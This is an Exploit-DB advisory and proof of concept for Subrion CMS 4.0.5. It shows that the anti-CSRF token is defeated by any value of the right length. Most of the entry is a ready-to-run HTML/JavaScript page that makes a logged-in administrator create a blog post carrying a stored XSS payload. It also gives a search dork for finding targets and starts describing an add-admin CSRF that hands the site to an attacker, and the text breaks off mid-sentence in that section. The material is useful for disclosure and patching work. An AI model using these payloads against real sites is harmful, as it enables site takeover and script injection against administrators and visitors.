Exploit-DB #40553
Description: Subrion CMS 4.0.5 - Cross-Site Request Forgery Bypass / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-10-17
Author: Ahsan Tahir

Exploit:
# Exploit Title: Subrion CMS 4.0.5 - CSRF Bypass to Persistent XSS and Add-Admin
# Date: 15-10-2016
# Software Link: http://www.subrion.org/download/
# Vendor: http://www.subrion.org
# Google Dork: "Powered by Subrion CMS"
# Exploit Author: Ahsan Tahir
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsantahir.net
# Category: webapps
# Version: 4.0.5
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

[+] CSRF bypass to Persistent XSS

1. Description

There was an Anti-CSRF token while adding a post in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter 
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, 
a blog post will be created with a tag like this: "</title><script>alert(document.domain);</script>" and now the XSS can be executed 
here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

2. Proof of Concept (CSRF to Persistent XSS)

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new post named 
"Hacked by Ahsan" will be created, with a tag "</title><script>alert(document.domain);</script>", means that we exploited
CSRF sucessfully!

XSS will execute here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

[!] PoC Code:

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/subi/admin/blog/add/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED]74");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"__st\"\r\n" + 
          "\r\n" + 
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "Hacked by Ahsan Tahir\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"alias\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"body\"\r\n" + 
          "\r\n" + 
          "\x3cp\x3eHacked by Ahsan Tahir\x3c/p\x3e\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"tags\"\r\n" + 
          "\r\n" + 
          "\x3c/title\x3e\x3cscript\x3ealert(document.domain);\x3c/script\x3e\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"v[image]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"owner\"\r\n" + 
          "\r\n" + 
          "Administrator (emailofadmin@gmail.com)\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"member_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"date_added\"\r\n" + 
          "\r\n" + 
          "2016-10-15 04:41\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"status\"\r\n" + 
          "\r\n" + 
          "active\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "Add\r\n" + 
          "----------------------------[PII_REDACTED]74\r\n" + 
          "Content-Disposition: form-data; name=\"goto\"\r\n" + 
          "\r\n" + 
          "list\r\n" + 
          "----------------------------[PII_REDACTED]74--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

----------------------------------------------------------------------------------------------------------------------

[+] Add-Admin CSRF

1. Description

There was an Anti-CSRF token while adding an admin in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter 
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, 
a new admin will be created with an email which is controled by attacker, means now the attacker have full administration over the
Subrion CMS Blog!

2. Proof of Concept

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new admin n